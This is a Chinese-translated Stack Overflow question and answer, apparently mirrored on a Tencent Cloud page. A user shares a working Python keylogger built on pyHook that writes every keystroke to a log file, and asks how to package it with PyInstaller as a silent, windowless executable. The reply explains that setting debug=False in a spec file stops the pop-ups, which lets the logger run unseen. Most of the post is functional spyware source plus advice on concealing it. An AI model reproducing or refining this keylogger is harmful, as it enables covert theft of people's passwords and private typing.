首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >将Pyinstaller与-noconsole一起使用,就可以提供Pop-up。

将Pyinstaller与-noconsole一起使用,就可以提供Pop-up。
EN

Stack Overflow用户
提问于 2016-07-05 21:48:14
回答 1查看 809关注 0票数 1

我有python文件,用.pyw保存以抑制控制台

代码语言:javascript
复制
import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后用pyinstaller转换为.exe,

代码语言:javascript
复制
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw

但是当我双击.exe时,我得到了控制台。

我试过--没有控制台选项。

代码语言:javascript
复制
c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw

但是当我双击.exe时,我会得到一系列恼人的弹出,必须用任务管理器终止。

怎么修?

EN

回答 1

Stack Overflow用户

发布于 2016-07-14 12:37:46

请创建一个.spec文件,然后添加

debug=False

PyInstaller手册解释了规范文件这里。然后用规范文件而不是脚本文件调用pyinstaller。

票数 3
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/38213339

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档